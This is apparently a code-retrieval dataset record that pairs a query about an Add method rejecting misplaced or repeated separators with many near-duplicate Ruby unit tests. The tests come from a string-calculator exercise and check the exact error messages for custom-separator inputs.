query_id
stringlengths
32
32
query
stringlengths
7
6.75k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
be9ec93ea0d2758de26c84513632de41
The Add method should throw an exception when called with an input starting with a separator or containing multiple separators following each other.
[ { "docid": "ff0a9af43d81145592070f53a49ffefe", "score": "0.0", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNext4\n # Arrange.\n @inputValue = '1\\n\\n2'\n @errorMessage = \"Number expected but '\\\\n' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" } ]
[ { "docid": "a4c7a94250afc931f5286d90fbd61f6d", "score": "0.7603663", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration108\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\nsep21sep32'\n @errorMessage = \"Number expected but 'sep2' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "fa35063c24bcaf253de77a1aa6154e5b", "score": "0.7596721", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsMultipleErrorsWithCustomSeparatorDeclaration19\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\n-1sep3sep2|2sep1'\n @errorMessage = \"Negatives not allowed : -1\\\\n\"\n @errorMessage += \"'sep1' or 'sep2' or 'sep3' expected but '|' found at position 10.\\\\n\"\n @errorMessage += \"Number expected but 'sep2' found at position 6.\\\\n\"\n @errorMessage += \"Number expected but EOF found.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "e0de593368fbf132f069320a52a2735f", "score": "0.7583072", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsUnsupportedSeparatorWithCustomSeparatorDeclaration16\n # Arrange.\n @inputValue = '//[sep1][sep2]\\n1del2'\n @errorMessage = \"'sep1' or 'sep2' expected but 'del' found at position 1.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "81c68acd3ba4801f6a5e5b1e4e5813a2", "score": "0.75811917", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration109\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\nsep31sep12'\n @errorMessage = \"Number expected but 'sep3' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "de069d32feaee3c0055ccd154b696a00", "score": "0.7548856", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration112\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\n1sep3sep12'\n @errorMessage = \"Number expected but 'sep1' found at position 5.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "661f03788c13d465ccbf2c4be9f1593d", "score": "0.7545179", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsUnsupportedSeparatorWithCustomSeparatorDeclaration13\n # Arrange.\n @inputValue = '//[-1][-2]\\n1|2'\n @errorMessage = \"'-1' or '-2' expected but '|' found at position 1.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "2dabb68645877bf82c21f835748cef33", "score": "0.7540507", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration94\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n1-3-32'\n @errorMessage = \"Number expected but '-3' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "144c03d0c57df03a94d3158326144321", "score": "0.75373906", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration105\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\nsep31sep32'\n @errorMessage = \"Number expected but 'sep3' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "530d2f91bdfb6d1a116955d8ce4dc8fc", "score": "0.75357497", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration76\n # Arrange.\n @inputValue = '//[+][!][#]\\n1#+2'\n @errorMessage = \"Number expected but '+' found at position 2.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "8616418c0aa774901a40db3d6acd782a", "score": "0.7528067", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsUnsupportedSeparatorWithCustomSeparatorDeclaration9\n # Arrange.\n @inputValue = '//[sep]\\n1|2'\n @errorMessage = \"'sep' expected but '|' found at position 1.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "d70201ae289243b37ca58d0634865ba5", "score": "0.7526565", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsUnsupportedSeparatorWithCustomSeparatorDeclaration21\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\n1=2'\n @errorMessage = \"'sep1' or 'sep2' or 'sep3' expected but '=' found at position 1.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "467f411fcbf9e32130e44379352c5a2b", "score": "0.7514973", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration81\n # Arrange.\n @inputValue = '//[++][!!][##]\\n##1##2'\n @errorMessage = \"Number expected but '##' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "33238110bad7463c76dd51a3de54bc26", "score": "0.75048476", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration79\n # Arrange.\n @inputValue = '//[++][!!][##]\\n!!1!!2'\n @errorMessage = \"Number expected but '!!' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "b5cc32f46555cc974dae735350fad036", "score": "0.7501446", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration49\n # Arrange.\n @inputValue = '//[sep1][sep2]\\nsep11sep12'\n @errorMessage = \"Number expected but 'sep1' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "259b89dfb1837d3620bce0fc62e5b587", "score": "0.75005615", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration116\n # Arrange.\n @inputValue = '//[?][??][???]\\n???1???2'\n @errorMessage = \"Number expected but '???' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "ec891722c1f264b11c4067486a89238c", "score": "0.7497012", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration85\n # Arrange.\n @inputValue = '//[++][!!][##]\\n##1++2'\n @errorMessage = \"Number expected but '##' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "db0d1c9b111a613d3a12bd1bd4bf81b3", "score": "0.74956316", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration95\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n-11-22'\n @errorMessage = \"Number expected but '-1' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "21efa5d588240e037786578ec41fdce0", "score": "0.7489888", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration101\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\nsep11sep12'\n @errorMessage = \"Number expected but 'sep1' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "e2c0ba16f1a323eb8f897cec43ae6d69", "score": "0.7484246", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration82\n # Arrange.\n @inputValue = '//[++][!!][##]\\n1####2'\n @errorMessage = \"Number expected but '##' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "b24afab9cbee125867123b8d3ff21720", "score": "0.74827784", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration75\n # Arrange.\n @inputValue = '//[+][!][#]\\n1!#2'\n @errorMessage = \"Number expected but '#' found at position 2.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "c43adc5601f6fbaad0d76ee913123ee4", "score": "0.74824107", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration98\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n1-1-22'\n @errorMessage = \"Number expected but '-2' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "e4000910590d50e279579043a05ca917", "score": "0.7482051", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsMultipleErrorsWithCustomSeparatorDeclaration14\n # Arrange.\n @inputValue = '//[sep1][sep2]\\n-1sep2sep1|2sep2'\n @errorMessage = \"Negatives not allowed : -1\\\\n\"\n @errorMessage += \"'sep1' or 'sep2' expected but '|' found at position 10.\\\\n\"\n @errorMessage += \"Number expected but 'sep1' found at position 6.\\\\n\"\n @errorMessage += \"Number expected but EOF found.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "d2388af16abe8798e25cc4b9b10109de", "score": "0.7481821", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration77\n # Arrange.\n @inputValue = '//[++][!!][##]\\n++1++2'\n @errorMessage = \"Number expected but '++' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "0601ac4d7bb88f28654c37e8d74693ec", "score": "0.7480036", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration110\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\n1sep1sep22'\n @errorMessage = \"Number expected but 'sep2' found at position 5.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "b248319e43e41bc427080c0531585c97", "score": "0.7479824", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration111\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\n1sep2sep32'\n @errorMessage = \"Number expected but 'sep3' found at position 5.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "00464277ad211a236c41d7826c51b981", "score": "0.7479286", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration103\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\nsep21sep22'\n @errorMessage = \"Number expected but 'sep2' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "c678b862e92ff36a5fc37dae41ba2867", "score": "0.7478288", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration107\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\nsep11sep22'\n @errorMessage = \"Number expected but 'sep1' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "ace1cac4488f7bb6e66ee8e43ed24d93", "score": "0.7477828", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsMultipleErrorsWithCustomSeparatorDeclaration16\n # Arrange.\n @inputValue = '//[+][!][#]\\n-1#!|2+'\n @errorMessage = \"Negatives not allowed : -1\\\\n\"\n @errorMessage += \"'+' or '!' or '#' expected but '|' found at position 4.\\\\n\"\n @errorMessage += \"Number expected but '!' found at position 3.\\\\n\"\n @errorMessage += \"Number expected but EOF found.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "3558053d69716b583d5192bc99e892bb", "score": "0.74769664", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration88\n # Arrange.\n @inputValue = '//[++][!!][##]\\n1##++2'\n @errorMessage = \"Number expected but '++' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "8fad80e55d060ebaa2834f4d951e660f", "score": "0.74747777", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration83\n # Arrange.\n @inputValue = '//[++][!!][##]\\n++1!!2'\n @errorMessage = \"Number expected but '++' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "ed37a82ca2083b3c1b6a47da55f4698e", "score": "0.74691945", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration73\n # Arrange.\n @inputValue = '//[+][!][#]\\n#1+2'\n @errorMessage = \"Number expected but '#' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "3427c922788c4651d370df8f2c4008c7", "score": "0.746607", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration93\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n-31-32'\n @errorMessage = \"Number expected but '-3' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "ebaa8a2214fda331f02b90392c0d3d68", "score": "0.7465062", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration17\n # Arrange.\n @inputValue = '//[sep]\\nsep1sep2'\n @errorMessage = \"Number expected but 'sep' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "f540ac42b3274fe81b73b4821bb6e6f5", "score": "0.74649376", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration78\n # Arrange.\n @inputValue = '//[++][!!][##]\\n1++++2'\n @errorMessage = \"Number expected but '++' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "23581d43f21492fead3d4fc6f2f00a85", "score": "0.74634224", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration54\n # Arrange.\n @inputValue = '//[sep1][sep2]\\nsep21sep12'\n @errorMessage = \"Number expected but 'sep2' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "228dcbf4fb9e4b14d387d7b8563bab40", "score": "0.7460876", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsUnsupportedSeparatorWithCustomSeparatorDeclaration12\n # Arrange.\n @inputValue = '//[-1]\\n1|2'\n @errorMessage = \"'-1' expected but '|' found at position 1.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "817facaf2532b03a8774d2b78b93af83", "score": "0.7460199", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration92\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n1-2-22'\n @errorMessage = \"Number expected but '-2' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "d023aac79da45558cb8ba7b36168cbed", "score": "0.7460002", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsUnsupportedSeparatorWithCustomSeparatorDeclaration19\n # Arrange.\n @inputValue = '//[++][!!][##]\\n1=2'\n @errorMessage = \"'++' or '!!' or '##' expected but '=' found at position 1.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "4212543b5ac5ce5c82b3cdf684197e69", "score": "0.7459104", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration106\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\n1sep3sep32'\n @errorMessage = \"Number expected but 'sep3' found at position 5.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "cd4b92ba1322c923efaf49c6015dba7b", "score": "0.745816", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration104\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\n1sep2sep22'\n @errorMessage = \"Number expected but 'sep2' found at position 5.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "1bc2b58d563f28154af7d9bd2ac41108", "score": "0.74567145", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration99\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n1-2-32'\n @errorMessage = \"Number expected but '-3' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "398d1ef78056828b008a2dffdb7bf8cd", "score": "0.7455908", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsMultipleErrorsWithCustomSeparatorDeclaration3\n # Arrange.\n @inputValue = '//sep\\n-1sepsep|2sep'\n @errorMessage = \"Negatives not allowed : -1\\\\n\"\n @errorMessage += \"'sep' expected but '|' found at position 8.\\\\n\"\n @errorMessage += \"Number expected but 'sep' found at position 5.\\\\n\"\n @errorMessage += \"Number expected but EOF found.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "9d2102c660abf1d3efcee8a35c4d97c2", "score": "0.7454753", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration114\n # Arrange.\n @inputValue = '//[?][??][???]\\n??1??2'\n @errorMessage = \"Number expected but '??' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "51eef5ef04c937cae8f7144e5a11e06f", "score": "0.7452807", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsUnsupportedSeparatorWithCustomSeparatorDeclaration3\n # Arrange.\n @inputValue = '//sep\\n1|2'\n @errorMessage = \"'sep' expected but '|' found at position 1.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "8adb22c444332a3a9d69e22aa259ac6e", "score": "0.74504536", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsMultipleErrorsWithCustomSeparatorDeclaration18\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n-4-3-2|2-1'\n @errorMessage = \"Negatives not allowed : -4\\\\n\"\n @errorMessage += \"'-1' or '-2' or '-3' expected but '|' found at position 6.\\\\n\"\n @errorMessage += \"Number expected but '-2' found at position 4.\\\\n\"\n @errorMessage += \"Number expected but EOF found.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "29576c69fed4caf03c649da4e214bb6d", "score": "0.7448084", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsMultipleErrorsWithCustomSeparatorDeclaration11\n # Arrange.\n @inputValue = '//[-1][-2]\\n-3-2-1|2-2'\n @errorMessage = \"Negatives not allowed : -3\\\\n\"\n @errorMessage += \"'-1' or '-2' expected but '|' found at position 6.\\\\n\"\n @errorMessage += \"Number expected but '-1' found at position 4.\\\\n\"\n @errorMessage += \"Number expected but EOF found.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "7c7a2786623342d008e97449d109f931", "score": "0.7443527", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsMultipleErrorsWithCustomSeparatorDeclaration17\n # Arrange.\n @inputValue = '//[++][!!][##]\\n-1##!!|2++'\n @errorMessage = \"Negatives not allowed : -1\\\\n\"\n @errorMessage += \"'++' or '!!' or '##' expected but '|' found at position 6.\\\\n\"\n @errorMessage += \"Number expected but '!!' found at position 4.\\\\n\"\n @errorMessage += \"Number expected but EOF found.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "ecfa61a05c783b4b6604f9b824a83f20", "score": "0.74392307", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration96\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n-21-32'\n @errorMessage = \"Number expected but '-2' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "62479ce88c47734f2bd61ee623124917", "score": "0.743806", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration102\n # Arrange.\n @inputValue = '//[sep1][sep2][sep3]\\n1sep1sep12'\n @errorMessage = \"Number expected but 'sep1' found at position 5.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "1ea44b230a887c74552860d78b2b4085", "score": "0.74373674", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration119\n # Arrange.\n @inputValue = '//[?][??][???]\\n??1???2'\n @errorMessage = \"Number expected but '??' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "c285974571d6c02d9543c631c4cfc2c7", "score": "0.74362135", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration53\n # Arrange.\n @inputValue = '//[sep1][sep2]\\nsep11sep22'\n @errorMessage = \"Number expected but 'sep1' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "66d665eafdeab3a9a3b9d2e250c41010", "score": "0.743459", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration66\n # Arrange.\n @inputValue = '//[+][!][#]\\n1++2'\n @errorMessage = \"Number expected but '+' found at position 2.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "7c3a09adb7ab39e6eeb5319366ac00bf", "score": "0.7433686", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration91\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n-21-22'\n @errorMessage = \"Number expected but '-2' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "f312f485309bd9344cbc3b09ae484181", "score": "0.74329233", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration87\n # Arrange.\n @inputValue = '//[++][!!][##]\\n1!!##2'\n @errorMessage = \"Number expected but '##' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "547a615dc04f95567827d06d07bcc427", "score": "0.74302274", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration84\n # Arrange.\n @inputValue = '//[++][!!][##]\\n!!1##2'\n @errorMessage = \"Number expected but '!!' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "2c63069e59edb8e286c4494741988f13", "score": "0.7427905", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration89\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n-11-12'\n @errorMessage = \"Number expected but '-1' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "eb379654d725cba09f2c68c09a2d771a", "score": "0.7423949", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration86\n # Arrange.\n @inputValue = '//[++][!!][##]\\n1++!!2'\n @errorMessage = \"Number expected but '!!' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "7219783e497ce637c774d2b31ece613f", "score": "0.74236417", 